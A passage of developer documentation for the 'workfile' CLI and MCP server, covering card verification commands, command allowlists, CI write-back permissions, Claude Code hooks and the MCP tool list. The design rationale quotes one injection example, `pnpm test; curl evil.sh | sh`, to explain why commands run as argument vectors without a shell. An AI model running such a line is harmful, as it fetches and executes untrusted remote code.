so under `{ api: ["ci"] }` a bare `card transition ID done` on an `api` card is refused
too — a gate you get past by typing less is not a gate. `workfile schema --json` reports
the policy under `cards.verification`, so an agent can read it instead of discovering it
by being refused.
It is the third gate a close meets, and it is waived the same way as the other two:
`--force` with `--reason TEXT` gets through, the trail line names the area's
verification policy among what it waived, and the card then records `forced` rather
than the method that was refused. That is also why a forced close must not carry
`--method`: the record has one answer for how the card was proved, and on a forced
close that answer is `forced`.
`doctor` reports two more findings, neither of them failing. A `done` card whose
recorded method the policy no longer accepts is `verification-method-unaccepted` —
tightening a policy must not invalidate work that already shipped. A policy naming an
area `cards.areas` does not declare is `verification-policy-area-unknown`, reported
rather than refused at config load: removing an area should not stop the workspace from
loading, and a config that will not load takes the doctor that would explain it with it.
`card create --json-input FILE` is the form to reach for when the card has a
body. It takes the whole record — title, body, parent, source, tags, scope — in
one call, and a JSON file survives backticks, `$` and accents that a shell
heredoc quietly mangles. The flag form above writes the same fields; it is the
body that argues for the file.
`--origin ID,ID` records which records the work came out of — the card being
worked when it was found, the decision that produced it. Any record kind, not
cards only. It is provenance, not decomposition: use `--parent` when the card is
genuinely part of another, and `--origin` when it merely came out of it. There
is no `card patch --origin`; patching any card field goes through
`--json-input`, the same as every other field. `agents context --card ID` reads
it back in both directions, and `doctor` reports an origin that resolves to
nothing.
`--axis NAME=VALUE` writes a classification axis the project declares under
`cards.axes` — a second axis alongside `area`, for domains rather than delivery
layers. Run `workfile schema --json` to see which axes exist and what each
accepts; an undeclared axis and a value outside its vocabulary are both refused,
and the message carries the list. It repeats, once per axis, because the axis
name is per project and a flag per axis is not something a static table can
offer. `--axis context=` with nothing after the `=` clears it.
`card list --axis context=treasury` filters on the same axis, and combines with
every other filter. A comma list is an OR within one axis
(`--axis context=treasury,billing`); a second `--axis` for a different name is
an AND. Repeating the *same* name is refused with `CLI_ARGUMENT_CONFLICT`,
because only one value would survive and the caller could not tell which.
`doctor` reports on declared axes the way it reports on areas: a value outside
the vocabulary is an **error**, since it is a typo that silently matches
nothing, and an open card with no value at all is a **warning**. Cards that are
`done`, `discarded` or archived are exempt from the warning — declaring an axis
on an existing repository must not emit one line per finished card, which is a
flood nobody acts on rather than a signal.
That exemption is written for a lifecycle where `done` is where work rests. On a
board where `review` is — because `done` is reserved for runtime evidence an
agent can rarely supply — every card that reaches `review` keeps warning for
ever, and one axis measured at 74 % of a 2 018-warning doctor run. Declare the
axis as `{ values: [...], required: false }` and the warning stops while the
vocabulary, the error on a typo and `card list --axis` all stay. An array keeps
meaning required. `schema --json` lists the optional ones under
`cards.optionalAxes`.
### Card-declared commands
A card may bind an acceptance criterion to a command that proves it, in a
`verify` block written through `card patch --json-input`:
```yaml
verify:
- id: gate
run: [pnpm, test, test/acceptance.test.ts]
criteria: [sha256:ab12…]
```
`run` is an **argument vector, not a shell line**, and it is spawned with no
shell. That is what makes the allowlist below decidable: over a shell string
`pnpm test` is a prefix of `pnpm test; curl evil.sh | sh` too, and a matcher
would be predicting what a shell it never runs will do with the rest of the
line. As an argv there is nothing to predict — `;` and `|` are bytes inside one
argument, and matching is element-wise string equality. A `run` written as a
single string is refused with `CARD_VERIFY_RUN_INVALID` rather than split on
spaces, because splitting would be that same parser wearing a smaller hat.
`cards.verification.commands` declares which commands a card may name, as argv
prefixes:
```js
cards: {
areas: ["api", "infra"],
verification: {
commands: [["pnpm", "test"], ["pnpm", "lint"]]
}
}
```
`["pnpm", "test"]` admits `pnpm test` and `pnpm test --filter cards`, and admits
nothing that differs at any position the prefix names. The matcher normalises nothing —
no case folding, no trimming, no path resolution, no Unicode normalisation — so
`PNPM`, `./node_modules/.bin/pnpm` and a homoglyph are each simply not the
declared command. A declared entry that could never match one is refused when
the config loads: an empty array, because it is a prefix of everything;
an empty or control-character-carrying element, because the frontmatter round
trip would not return it unchanged.
**The list is empty by default, so a project that declares nothing can run
nothing.** A card naming an undeclared command is refused with
`CARD_VERIFY_COMMAND_NOT_ALLOWED`, and the message names
`cards.verification.commands` when the project has declared none.
`doctor` runs the same check on read and reports `verify-command-not-allowed`
as an **error**. That is the half that matters in a repository taking pull
requests: a card is a Markdown file, so one can arrive as a file in a diff
without ever calling a mutation, and the write-time refusal never runs. `doctor
--json` is what the generated CI workflow exists to run, so the error is what
turns the pull request red.
Be clear about what the allowlist buys. It bounds which command a card may
name; it cannot bound what that command does, because every command worth
allowing dispatches through a file the same pull request can edit — `pnpm test`
reads `package.json`, `make check` reads the Makefile. It is anti-escalation on
a branch you trust, and it makes a declared command reviewable in one place.
Containment for a branch you do not trust is a different control entirely, and
belongs to the job rather than to the card: no secrets, no write token, and no
evidence written back from a head you did not review.
A card that already carries a command the project refuses is refused every
write until the block goes, so it cannot be quietly closed around. Clear it and
then move the card:
```sh
printf '{"verify": null}' | workfile card patch T-0042 --json-input -
workfile card transition T-0042 discarded
```
### Running them
```bash
workfile card verify ID [--only ENTRY,ENTRY] [--actor ACTOR] [--json]
```
Runs each declared entry and reports pass or fail per entry, then checks the
criteria the passing entries prove. It is the only thing that can: a bound
criterion is one `card ac --check` refuses, so without this command a card that
binds its criteria is a card nothing can close.
Each `run` is spawned as an argument vector with **no shell**, from the
workspace root, with stdin closed — a command that stops to ask a question would
otherwise wait for a terminal nobody is watching. Entries run one at a time:
two declared commands are usually two suites over one working tree, and
deciding a project's build is safe to run twice at once is not this tool's call
to make on its behalf. `--only` runs a subset, `--json` prints the whole report,
and the command exits `1` unless every entry that ran passed.
**What a run writes, and what it does not.** A criterion's box records what a
command decided, so only a command that decided something writes one:
| Outcome | Means | The bound criteria |
| --- | --- | --- |
| `passed` | Exit `0`. | Checked. |
| `failed` | Any other exit status. | Unchecked — a proof that no longer reproduces is not a proof. |
| `timed-out` | Killed at `cards.verification.timeoutSeconds`. | Untouched. |
| `errored` | Never started: no such command, not executable. | Untouched. |
The last two are deliberate and are not a smaller version of `failed`. Killing a
command at the timeout is us giving up and a machine with no such command has
decided even less; neither is a fact about the criterion. Unchecking there would
let a run on the wrong machine erase a proof a right one produced, and the
criterion is machine-owned, so `card ac --check` could not put it back. Both
still exit `1`, and both print why.
An entry that changes a criterion's state leaves a line on the card's trail
naming it, because a box that moved because a subprocess exited otherwise has no
author in the record at all:
```text
- 2026-08-06 09:12Z alice@studio · verify gate: pnpm test acceptance passed, checked #1, #3
- 2026-08-06 11:40Z alice@studio · verify gate: pnpm test acceptance failed (exit 1), unchecked #1, #3
```
A run that changed nothing writes no line, the same rule a repeated
`card transition` follows. `--actor` names who ran it, defaulting the way every
other card command's does.
**There is no `--dry-run`, and it is refused rather than ignored.** The flag
previews filesystem changes, and a run that spawns every declared command and
then skips the write-back has already done the part worth previewing.
`workfile card show ID --json` reports the `verify` block, which is what looking
first means here.
The commands run **outside** the card's write lock — they take minutes, and a
lock held across them would block every note, claim and status move for as long
as a suite runs. The card is read again after the last command exits and the
bindings are resolved against *that* reading, so a criterion reworded while the
tests were running is no longer bound to the entry and the write is refused by
name rather than applied to whatever line moved into that position.
How long a command gets is the project's to declare:
```js
cards: {
verification: {
commands: [["pnpm", "test"]],
timeoutSeconds: 600
}
}
```
Ten minutes by default, between 1 second and 12 hours, and there is no way to
say "no timeout": a command that never exits would otherwise hold an unattended
CI job forever. `workfile schema --json` reports the effective value under
`cards.verification`.
**On Windows, a `.cmd` shim cannot be started without a shell.** `pnpm`, `npm`
and everything in `node_modules/.bin` are `.cmd` files there, and Node refuses
to spawn one unless a shell parses the line — which is the thing the argv model
exists to avoid. Such an entry reports `errored` and changes nothing, on that
platform only. Declare something Windows can start directly, such as
`["node", "node_modules/vitest/vitest.mjs", "run"]`.
This is a CLI command and has no MCP tool or HTTP route. Executing a card's
commands is something a person asks for at a terminal, and a tool that let an
agent trigger it over a long-lived server connection is a wider decision than
the one this implements.
Claims carry an actor and optional path scope; the server refuses overlapping
scopes and releases the claim when a card leaves `doing`.
Sequential IDs are allocated per clone, so two branches can mint the same ID and
git merges both files without a conflict. Cards are the least exposed kind: a
card is created once, by whoever picks up the work, while a changelog fragment
is written by *every* branch that changes anything user-visible. `doctor --fix`
heals all of them — cards, changelog fragments, managed documents and memory
records — and picks the same survivor on every clone: the oldest `created` keeps
the ID and the rest move to the next free one, ties broken by path. A released
fragment is the exception and always keeps it, because a fragment cut into a
version is frozen and the release record lists it by ID. `card renumber
--duplicates` stays card-scoped and reports every other collision under
`skipped`.
When the moved ID was unique, every reference inside `.project/` is rewritten;
after a collision the references are ambiguous by construction, so they are
listed under `review` instead of being silently repointed. Only the ID half of
the filename moves — the title slug survives — and `doctor --fix` brings a
card's slug back in step afterwards, which it does not do for the other kinds.
A collision is refused rather than repaired when moving a record would not be
the correction — two *released* fragments carrying one ID (describe it in a new
fragment instead), a release record, an indexed file outside `docs.managedPath`
declaring a managed ID in its frontmatter, or one ID spanning two record kinds.
For each of those `doctor --fix` prints a `cannot fix:` line naming the reason
and the run still exits `1`, because the error is still there.
Filter flags take comma-separated values (`--type bug,task`) and combine with
AND. `--json` omits the Markdown body and reports `bodyBytes` instead; ask for
it with `--with-body`, or pick exactly what you need with `--fields`. Responses
carry `total`, `offset` and `truncated`.
`show` takes `--fields` too, on every record kind: `card show T-0042 --json
--fields id,revision` is how a caller obtains the revision a guarded patch needs
without reading the body first. Keys the record does not carry are left out
rather than reported as null. A patch without `--expected-revision` applies and
says nothing — the guard is optional by design, and the patch's own `--json`
answer already carries the new revision.
Options are validated per **subcommand**, not per command word. `card show
--status doing` and `card patch ID --json-input p.json --title "..."` are
refused with `CLI_ARGUMENT_UNKNOWN`, and the message names the subcommand the
flag does belong to. They used to exit 0 having silently dropped the flag, which
an agent cannot detect.
An option given twice is refused with `CLI_ARGUMENT_CONFLICT`, because only the
first occurrence is read — pass a list as one comma-separated value. `card ac
--check`, `--uncheck` and `card create|patch --axis` are the exceptions and may
repeat, because something reads every occurrence.
Only `--root`, `--json`, `--dry-run` and `--allow-new` are global.
A value a filter cannot parse is refused with `CLI_OPTION_INVALID`, never
applied as a filter that matches nothing. `--updated-since` takes `YYYY-MM-DD`
(an RFC 3339 timestamp is accepted and read as its date); `--limit`, `--offset`,
`--max-issues`, `--older-than`, `--occurrences` and `--port` take whole numbers.
`--updated-since 2026-7-1` used to exit 0 with `"total": 0`, and `--limit abc`
to return an empty page under a non-zero `total`.
A claim has a lifecycle, not just a flag. The card records `claimed_by` and
`claimed_at`; the live signal lives in `.project/.cache/activity/sessions/` and
therefore outside git, because a heartbeat written into frontmatter would leave
the working tree permanently dirty. `doctor` reports `card-claim-stale` past
`cards.claimLeaseHours` and `card-claim-orphaned` when a session stops
signalling, and `workfile card reap` releases them.
### What produced a write
The trail says who and when; `produced_by` says what. Declare it and every card
write records it beside the actor — as a `via:MODEL/REASONING` token on the
trail line and as a `produced_by` block in frontmatter, so `card list --json`
can be counted over by model without parsing prose:
```sh
WORKFILE_MODEL=claude-opus-4-1 WORKFILE_REASONING=high workfile card transition T-0042 review
# - 2026-09-11 18:40Z alvaro@local#597ecdc9 via:claude-opus-4-1/high · doing → review
```
It is **self-reported** and the block says so (`basis: self-reported`): an
agent can set an environment variable to anything, so read it as a label the
writer chose, never as an attestation. The halves come from, in order,
`WORKFILE_MODEL` then `ANTHROPIC_MODEL`; `WORKFILE_REASONING` then
`CLAUDE_EFFORT` (which Claude Code exports to the Bash tool and to hooks) then
`CLAUDE_CODE_EFFORT_LEVEL`; and last the session file the Claude hook writes,
which carries `model` when a `SessionStart` payload included it and
`effort.level` from every tool call. A half nobody declared is written as
`undeclared`. A value that is not a label — more than 64 characters, or outside
`[A-Za-z0-9._:+-]` — is refused with a note on stderr and the write records
`undeclared` instead, which is what keeps the field from carrying anything but
a name. With nothing declared the record is byte-identical to today, and the
block is the last writer *that declared*: a write with no declaration puts no
token on its trail line and leaves the block alone, so a human's note after an
agent's close does not erase which model closed it. `claimed_by` and the
guard's actor comparison are untouched either way.
## Docs
```bash
workfile doc list [--query TEXT] [--managed] [--json]
workfile doc show ID [--json]
workfile doc create --title TITLE [--kind KIND] [--status STATUS] [--folder PATH] # TITLE up to 120 characters
workfile doc create --json-input FILE # recommended: body and metadata in one call
workfile doc move ID --folder PATH [--expected-revision REV]
workfile doc patch ID --json-input FILE [--expected-revision REV]
workfile doc write ID [--body-file FILE] [--expected-revision REV] # or pipe the body on stdin
workfile doc note ID --text TEXT [--section NAME] [--actor ACTOR]
```
`doc write` replaces the body and leaves the frontmatter as it is; `doc note`
appends one timestamped, attributed line under a heading, creating it when
absent. They are the document forms of `card write` and `card note`, and exist
because `doc patch` takes the body as one field among the rest — so before them
the only way to change a paragraph of a document edited over hours was to keep a
working copy outside the repository and send the whole body back each time.
A card title is refused past 80 characters and a document title past 120, before
anything is written. `workfile schema --json` reports both under
`cards.limits.title` and `docs.limits.title`, so a caller composing a record can
read the bound instead of meeting it; the refusal says how long the title was.
Indexed documents (from configured globs) get deterministic `PATH-*` IDs and are
read-only; managed documents live in `.project/docs/` with `DOC-NNNN` IDs.
Managed documents are loaded recursively, so folders work even when they are
created by hand. `docs.layout` decides where new documents are written — `kind`
(the default) groups them into a folder named after the document kind, `flat`
uses the managed root — and `--folder PATH` overrides it for a single command.
The path must stay inside `docs.managedPath`; `--folder ""` targets the root.
`workfile doc move` relocates a document without changing its ID or its content.
## History (changelog)
```bash
workfile changelog list [--unreleased] [--visibility public|internal] [--json]
workfile changelog show ID [--json]
workfile changelog add --title TITLE [--type fixed] [--area AREA]
workfile changelog add --json-input FILE # recommended: body and metadata in one call
workfile changelog patch ID --json-input FILE [--expected-revision REV]
workfile changelog preview [--fragments CHG-0001,CHG-0002]
workfile changelog release VERSION [--fragments CHG-0001,CHG-0002] [--title TITLE]
workfile changelog release VERSION --amend [--title TITLE] [--date YYYY-MM-DD] # newest release only
workfile changelog release VERSION --amend --drop CHG-0002 # a fragment cut by mistake goes back to unreleased
workfile changelog render [--visibility public|internal] [--write]
workfile changelog verify
```
Release version validation follows `changelog.releaseStrategy`: `semver`,
`calendar` or `freeform`.
`--amend` corrects the newest release only. It changes `--title`, `--date`,
`--commit`, `--body` and `--tags`, and refuses `--fragments` rather than
ignoring it. `--drop CHG-…` is the one change it makes to what a release
consumed: the fragment's file moves back to `unreleased/`, its id leaves the
release record, and a rendered changelog that exists is rewritten — so a
duplicate cut into a release no longer needs git to undo (T-0253). An id whose
file is already gone is only taken off the list, which repairs
`release-missing-fragment`. A release keeps at least one fragment.
`changelog verify` diagnoses the changelog the way `doctor` does — the same
issues under the same codes, `release-missing-fragment` included — and exits 1
when any of them is an error, with `--json` as well as without. It used to read
an index nobody had diagnosed and answer `0 errors` on any tree (T-0252).
## Memory
```bash
workfile memory list [--collection learnings] [--status active] [--json]
workfile memory show ID [--json]
workfile memory add COLLECTION --title TITLE [--status STATUS]
workfile memory add COLLECTION --json-input FILE # recommended: body and metadata in one call
workfile memory patch ID --json-input FILE [--expected-revision REV]
workfile memory graduate ID --to CONV-0001,DOC-0001
workfile memory supersede ID --by ID
workfile memory verify # the same verdict and exit code as changelog verify, for memory
```
`add` accepts singular aliases (`learning`, `decision`, `incident`, `convention`,
`context`) as well as collection ids. Collections and prefixes:
| Collection | Prefix | Purpose |
| --- | --- | --- |
| learnings | `LRN` | Reusable observations with confidence and occurrences |
| decisions | `ADR` | Proposed / accepted / rejected / superseded decisions |
| incidents | `INC` | Operational events with severity and resolution metadata |
| conventions | `CONV` | Durable rules for humans and agents |
| context | `CTX` | Useful but potentially expiring project state |
## Agents
```bash
workfile agents sync [--targets agents-md,claude,cursor,copilot]
workfile agents check [--targets ...]
workfile agents context --card T-0001 [--limit 20]
workfile agents whoami [--json]
```
`sync` writes compact managed blocks (version + SHA-256 digest) into `AGENTS.md`,
`CLAUDE.md`, `.cursor/rules/` or `.github/copilot-instructions.md` without touching
unrelated content. `context` returns a bounded, prioritized context bundle for a card.
Accepted decisions and conventions skip the relevance filter, because a rule
binds work that does not mention it. Past `--limit` they are not cut: they come
back under **Also in force** as one titled line each, so a workspace with fifty
accepted ADRs still hands an agent every ID it must not contradict at a cost of
a line rather than a summary. Everything else that did not fit is reported as a
count under **Left out** and reachable through `search`.
`whoami` prints the actor every surface attributes mutations to, and which rung
produced it. Resolution order: an explicit `--actor`, then `$WORKFILE_ACTOR`, then
`user@host` — discriminated by a short session prefix when a session id is present,
because two agent sessions in one checkout are two actors and a shared username
would let them silently take each other's claims. Set `$WORKFILE_ACTOR` to pin a
stable name.
## Claude Code
```bash
workfile claude install [--dry-run] [--force]
workfile claude check [--json]
```
`install` writes the Claude Code surface into the repository — the MCP server
registration, the slash commands, the skill and the session hooks — as managed
blocks a later resync updates without touching anything around them. `check`
reports which of them are stale and exits `1` when any is, which is what makes
it usable in CI. Each stale file is reported with the comparison that failed —
`style`, `body`, `digest` or `trailing-newline` — because one of them is
otherwise invisible: the digest is taken over trimmed bytes, so a file that
lost its final newline agrees with its own digest and is stale over a byte no
hash covers.
`.mcp.json` and `.claude/settings.json` carry no marker to hold a digest,
because they are merged into files the repository also owns. They are compared
against the values an install would write, key by key, using the ledger at
`.project/generated/claude-code.json` that records which of them are this
tool's — so a hand-edited server registration is reported as
`mcpServers.workfile`, and a server the repository added beside it is neither
compared nor touched.
The last line of the report is not a file but the command the hooks name,
resolved. A workspace with the package installed gets
`node node_modules/@illodev/workfile/…/hooks.mjs`; one without gets the
`workfile-hooks` bin, found on `PATH`. Either can be `unreachable`, which is a
different repair from a stale file: the settings can say exactly what an
install would write and still name a hook that is not there, and a hook that
cannot run exits `0` in silence. It is reported as a warning rather than an
error, because whether a bin is on `PATH` is true on one machine and false on
another.
`workfile claude` with no subcommand runs `check`, because reporting is the
safe default for a word that otherwise writes files.
Neither command is what installs the *package* into a Claude Code session:
a client reads `.mcp.json` and starts the server itself. See
[mcp.md](/docs/mcp.md) for what `install` writes and what each hook does.
## CI templates
```bash
workfile ci sync [--targets github,gitlab,generic]
workfile ci check [--targets ...]
```
### What the generated GitHub workflow does, and what it will not do
Three jobs. `doctor` validates the protocol. `cards` runs the commands the cards
this branch touched declare, and `record` writes the result back.
Those last two are deliberately not one job. A criterion bound to a command can
only be checked by running it, so `cards` executes commands a pull request
declared — and therefore holds `permissions: {}`, with no credentials left in
`.git/config`. Writing evidence needs `contents: write`, so `record` holds it and
runs no repository code at all: not even Workfile, because every Workfile command
`import()`s `project.config.mjs` from the checkout. It applies a patch bounded to
the protocol directory and pushes.
**A fork records nothing.** GitHub issues a read-only token for `pull_request`
from a fork, so the push cannot land whatever the workflow says; `record` also
declines to start there, in order to say so rather than fail at the last step.
**CI closes a card only when every one of its criteria is bound to a command.** A
narrative criterion is not something a runner has an opinion about, so a card
that carries one gets its bound boxes written and stays open, with the reason
reported. That is the whole safety of the write-back: `card ac --check` refuses a
bound criterion and only the runner writes it, so the boxes CI touches are boxes
no person was going to check either way.
**Only on a pull request.** "The cards this branch touched" is a diff against a
base and a push to a default branch has none. The checkout needs
`fetch-depth: 0`, because the diff is taken from the merge base and a shallow
clone has none — reported as *cannot answer* rather than as an empty diff, which
would turn "nothing was verified" into "there was nothing to verify".
`--base` is required and has no default. Guessing it wrong means running the
declared commands of cards the branch never opened, and writing to them.
**GitLab and the generic script run no card commands.** GitLab has no per-job
permission scope, so the job sees every unprotected variable in the project and
there is nowhere to put a command a merge request declared; the generic script
inherits the whole environment of whatever invokes it. Both files carry the
invocation commented out with what a maintainer would have to arrange first.
## Legacy migration
```bash
workfile migrate plan [--source .planning] [--mode copy|move]
workfile migrate apply [--source .planning] [--mode copy|move] [--force]
workfile migrate schema [--dry-run] [--json]
```
Valid v1 cards become canonical v2 records; everything else is preserved under
`.project/sources/legacy-planning/` with a written migration report.
`migrate schema` is a different job: it moves a workspace forward when the
installed package expects a newer `schemaVersion` than `.project/VERSION`
declares. Steps run in ascending order under a lock, `--dry-run` prints the plan
without writing, and the result is recorded in `.project/migrations/schema.json`
along with `upgradedWith` in `.project/VERSION`. A workspace *newer* than the
package is refused with `WORKSPACE_SCHEMA_AHEAD` — upgrade the package instead.
## MCP
```bash
workfile mcp [serve] [--read-only]
workfile mcp inspect [--json]
workfile mcp config [--read-only] [--json]
```
See [mcp.md](/docs/mcp.md) for the server contract.
---
<!-- https://workfile.illodev.com/docs/mcp -->
# MCP server
Workfile includes a local, dependency-free MCP server speaking UTF-8,
newline-delimited JSON-RPC over stdio. Every operation delegates to the same core
services used by the CLI and HTTP API.
```bash
workfile mcp # serve over stdio
workfile-mcp --root /path/to/repository
workfile mcp --read-only # mutation tools removed from tools/list
workfile mcp inspect --json # tool/resource/prompt inventory
workfile mcp config --json # portable client process configuration
```
## Reading the workspace
`project_card_list`, `project_doc_list`, `project_changelog_list` and
`project_memory_list` answer "what is in here" without needing a search query.
They take filters (`status`, `area`, `type`, `priority`, `parent`, `claimedBy`,
`unclaimed`, `tags`, `updatedSince`) and return a compact row per record — no
Markdown body, no `revision`. `updatedSince` takes `YYYY-MM-DD`, or an RFC 3339
timestamp read as its date; anything else is refused with
`MCP_ARGUMENT_INVALID` rather than applied as a filter that matches nothing.
`project_next` answers the question an agent actually has: which cards can be
started now. It excludes epics and anything with unmet dependencies, puts work
already claimed by the caller first, and attaches the reason each candidate
qualified.
Listings deliberately omit `revision`. Writing needs a read-then-write —
`project_get_record` returns the current revision, which `expectedRevision`
then guards — and carrying a possibly-stale one in a list only invites a
conflict.
Every result carries the data once, in `structuredContent`; `content` is a
one-line summary rather than a second copy of the payload. When a result would
exceed `maxToolResultBytes` the server degrades it rather than failing the call,
because a get-by-id has no query to narrow — and says so with
**`resultTruncated`**: `{ records: <rows dropped> }`, or
`{ bodyBytes: <original size> }` when a single record's body was clipped.
That marker is the transport speaking, and it is deliberately not called
`truncated`. A tool may declare a `truncated` of its own meaning something else
entirely: `project_agent_context` returns `truncated: boolean` for relations
dropped to respect `limit`, and the two used to be one key — so a large bundle
replaced the boolean with an object, a caller checking `=== true` survived by
accident because an object is truthy, and a caller reading `truncated.records` on
any other tool got `true` from that one.
## Claude Code integration
```bash
workfile claude install # generate the surface into the repository
workfile claude check # report drift, exit 1 when anything is stale
```
`install` writes, as managed blocks that a resync updates without touching
anything around them:
| File | What it does |
| --- | --- |
| `.mcp.json` | Registers the server, exactly as below |
| `.claude/commands/{next,claim,done,context}.md` | Slash commands over one CLI call each |
| `.claude/skills/workfile/SKILL.md` | Projects `.project/agents/protocol.md` rather than restating it |
| `.claude/settings.json` | Three hooks |
```json
{
"mcpServers": {
"workfile": {
"command": "npx",
"args": ["-y", "@illodev/workfile", "mcp"]
}
}
}
```
That is the form for a workspace with no local install. Where the package is a
dependency, `install` registers the copy in `node_modules` instead — the same
one the hooks already run — so the server and the hooks are the same build. The
two used to differ: `.mcp.json` fetched whatever npm published today while
`.claude/settings.json` ran whatever the repository had, and a workspace pinned
to 0.5.2 spoke to a 0.5.4 server. The two halves disagreeing about what the
protocol is produces symptoms that look like anything else. Re-running
`install` follows the dependency in either direction.
`upgrade` reports it when the binary doing the upgrading is not the one the
workspace will run — the shape `pnpm i -g @illodev/workfile` produces against a
repository that pins an older release.
It registers the package and the `mcp` subcommand, not the `workfile-mcp` bin.
That bin exists and parses its own flags — `workfile mcp config` emits it, for
hosts building a configuration themselves — but `npx` cannot select a named bin
from a package spec, so registering it that way started the CLI instead of the
server and every request was answered with the help text on stdout. T-0116
changed it in 0.4.0; this table went on describing the old behaviour until it
was corrected.
**`SessionStart`** injects the board once — cards in flight, who holds them,
which paths they cover — so a session begins informed without reading a record.
Once per session, not per prompt: per-prompt injection accumulates in the
window.
**`PreToolUse`** on `Edit|Write|NotebookEdit` compares the target path against
the scope of cards claimed by *other* actors and answers `ask` with the card and
the actor named. It also asks when something writes a `.project/` record
directly, because that skips the lock, the revision check and validation.
It asks; it never denies. A guard rail that blocks too much gets switched off,
and then it protects nothing.
**`PostToolUse`** refreshes the session heartbeat under
`.project/.cache/activity/sessions/` and appends one line to
`.project/.cache/activity/events.jsonl`, asynchronously. The heartbeat is what
makes a claim `live` rather than merely `held`: a hook is the only thing that
fires repeatedly for as long as an agent is working, and a one-shot CLI process
that signalled once would decay into a false `orphaned` ninety seconds later.
After a `Bash` call the same hook also looks at what the guard could not see. A
`Bash` payload carries `command`, not `file_path`, so an edit made with `sed`, a
heredoc or `tee` inside another actor's scope was asked nothing — measured on a
consuming board with eight panels live, a file inside a held scope changed with
zero events in the ledger. The hook walks the scopes *other* actors hold, bounded
to 4000 entries and never into `.git`, `node_modules` or `.project`, and takes
every file whose mtime falls after this session's previous signal and that no
typed-tool edit in the ledger accounts for. Each one is appended to
`events.jsonl` with a `collision` object naming the card and its holder, and the
agent is told in `additionalContext`: the paths, the card, and whether the
holder's session was signalling in that window — the window is the whole
command, so a neighbour writing to their own scope through `Bash` at the same
moment lands in it too, and the text says "changed while your command ran",
never "you changed". It reports; it prevents nothing, and it never joins the
`PreToolUse` matcher, whose budget is built on not spawning node for a `Bash`.
The hook stays asynchronous, and Claude Code delivers an async hook's output
with the *next* tool result: measured in a live session, each report arrived one
call after the command it describes. That is what "after the fact" costs, and it
is still before the agent's next edit lands.
Silence is only evidence about a holder some session signals as. A claim made
with a hand-typed `--actor` matches no session file, so its holder is silent in
every window by construction; the report says so — "no session here signals as
that name" — instead of calling the change "most likely yours", and the
`collision` object carries `holderKnown: false` (T-0256). A subagent is not a
separate session to the hook: measured in a live session, its tool calls fire
the same hooks with the parent's `session_id`, plus `agent_id` and `agent_type`,
and the CLI inside it resolves the parent's actor. A scope the parent session
holds is therefore the subagent's own, and each ledger line a subagent's call
writes carries `agentId` and `agentType`.
The hook runtime (`dist/src/runtime/claude/hooks.mjs`) imports nothing from this
package. `src/index.js` re-exports thirteen modules and several read
`package.json` at load, and `PreToolUse` runs before *every* tool call in the
session — not only the ones it might block. A test pins its p95.
Generated files grant permissions in someone else's repository, so
`allowed-tools` names the exact subcommand (`Bash(workfile card claim *)`), never
`Bash(project *)`. `.claude/settings.json` and `.mcp.json` are merged, not
replaced: a ledger in `.project/generated/claude-code.json` records which keys
are generated so removing one later actually removes it.
### Installing as a plugin
The same surface is distributed as a Claude Code plugin, for repositories that
would rather not have generated files committed:
```
/plugin marketplace add illodev/workfile
/plugin install workfile@illodev
```
The plugin registers the MCP server with `--root ${CLAUDE_PROJECT_DIR}` and
resolves its hooks through `${CLAUDE_PLUGIN_ROOT}`, so it works without the
package being a dependency of the repository at all.
The server is only half of it; the rest is session-side:
- **Slash commands** — `/claim` (claim a card with an honest scope),
`/card-context` (the bounded context bundle for a card), `/next` (unclaimed
candidates worth starting) and `/done` (verify, record, release). The
context command was `/context` until 0.10.0, where it shadowed Claude Code's
own `/context`; `claude install` retires a generated `context.md` it finds.
- **A skill** that teaches the session the one non-negotiable rule: records
under `.project/` change through the CLI or MCP tools, never through a raw
file edit that would skip the lock, the revision check and validation.
- **Hooks** that make claims an executable guard rail rather than prose:
`SessionStart` rebuilds the claims board and announces which cards are
being worked on and by whom; `PreToolUse` asks — never denies — before an
edit that lands inside another actor's claimed scope or touches a protocol
record directly; an async `PostToolUse` refreshes the session heartbeat under
`.project/.cache/activity/sessions/`, which is what the UI's presence
indicators read, appends the edit to `.project/.cache/activity/events.jsonl`,
and after a `Bash` call reports any file that changed inside another actor's
scope while the command ran — the edit the guard cannot see.
Both forms exist on purpose. A plugin's `settings.json` accepts only `agent` and
`subagentStatusLine`, so anything else has to be generated locally; and a
generator alone means every version bump leaves the written files behind, which
is the trap `T-0018` recorded. `scripts/build-plugin.ts` assembles the plugin
from the same functions `workfile claude install` uses, and a test asserts the
packaged runtime is byte-identical to the source — a hook that behaves
differently depending on how it was installed is a bug nobody would find.
## Protocol revisions
The server is dual-era:
- **Modern `2026-07-28`** — stateless per-request `_meta`, `server/discover`,
`resultType` and cache metadata.
- **Legacy `2025-11-25`** and earlier declared revisions — the
`initialize` / `notifications/initialized` lifecycle for existing hosts.
## Tools (32)
Read-only:
| Tool | Purpose |
| --- | --- |
| `project_workspace` | Workspace, config and module overview |
| `project_search` | Unified weighted search across all collections |
| `project_get_record` | Any record by stable ID |
| `project_doctor` | Full health diagnostics |
| `project_agent_context` | Bounded, prioritized context for a card |
| `project_next` | Unclaimed, prioritized candidates to start now |
| `project_card_list` | Cards filtered by status, area, type or claim |
| `project_doc_list` | Documents with status and folder |
| `project_changelog_list` | Change fragments and cut releases |
| `project_memory_list` | Memory records per collection |
| `project_changelog_preview` | What a release would consume, without cutting it |
Mutations (absent in `--read-only` mode; rejected with `MCP_SERVER_READ_ONLY`):
| Domain | Tools |
| --- | --- |
| Work | `project_card_create`, `project_card_patch`, `project_card_write`, `project_card_note`, `project_card_claim`, `project_card_release`, `project_card_transition`, `project_card_archive`, `project_card_reopen` |
| Docs | `project_doc_create`, `project_doc_move`, `project_doc_patch`, `project_doc_write`, `project_doc_note` |
| History | `project_changelog_add`, `project_changelog_patch`, `project_changelog_release` |
| Memory | `project_memory_add`, `project_memory_patch`, `project_memory_graduate`, `project_memory_supersede` |
Tool descriptions carry read-only, destructive and idempotency annotations.
### What each tool declares
Every tool declares its full contract, so a caller never has to infer one:
- **Every input property carries a `description`.** Names do not survive
inference — `scope` is filesystem paths on a card and subject matter on a
document, and `source` is provenance on both while meaning different things.
- **Closed vocabularies declare `enum`.** Card `status`, `type`, `priority` and
`effort` come from frozen protocol constants, so they are enumerated in the
schema itself. Areas, document kinds, changelog types and memory statuses are
declared per project and accept any string, so they are *not* enumerated —
their descriptions point at `project_workspace`, which reports what this
project actually accepts.
- **Defaults are declared where the implementation has one**, rather than left
for the caller to discover by omitting the field.
- **Every tool declares an `outputSchema`** matching the `structuredContent` it
returns, including `resultTruncated` — declared rather than merely allowed, so
a caller reads it from the schema instead of meeting it the first time a
